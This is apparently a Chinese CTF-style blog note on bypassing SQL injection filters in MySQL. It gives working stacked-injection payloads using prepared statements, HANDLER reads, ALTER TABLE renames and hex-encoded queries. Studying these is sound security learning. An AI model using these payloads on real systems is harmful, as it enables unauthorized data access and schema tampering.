SQL注入

SQL注入常用bypass

0x00 堆叠注入

可以在过滤了union的情况下使用,加就可以,类似于命令执行中的绕过一样。

 0';show columns from `1919810931114514`;#

经典堆叠

1.预处理语句

PREPARE sqla from '[my sql sequece]';   //预定义SQL语句
EXECUTE sqla;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

例如

SET @tn = 'FlagHere';  //存储表名
SET @sql = concat('select * from ', @tn);  //存储SQL语句
PREPARE sql from @sql;   //预定义SQL语句
EXECUTE sql;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

这样我们就可以利用字符串拼接的方法,将select拼接出来,然后利用预执行语句,进行执行,最后完成整个堆叠注入

也可利用char()方法将ASCII码转换为SELECT字符串,接着利用concat()方法进行拼接获得查询的SQL语句,最后执行即可。

mysql中的prepare:准备一条SQL语句,并分配给这条SQL语句一个名字供之后调用;
EXECUTE :执行命令
DEALLOCATE PREPARE:释放命令;
 SQL 语句中,我们使用了问号 (?),在此我们可以将问号替换为整型,字符串,双精度浮点型和布尔值
 set 设置一个预置的sql语句

2. handler语句代替select

handler FlagHere  open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄

3 重命名注入

原理:本身的sql查询时就有一条查询数据库的语句,而我们如果将跨裤查询的别名改成现在的库的名字,然后执行查询语句,就可以直接查询例外一个表的语句了,这里

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#

4 预编译注入

原理:mysql中支持执行十六进制的语句

1';
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;
execute execsql;#
posted @ 2020-12-27 13:13  print(Dem0)  阅读(93)  评论(0编辑  收藏  举报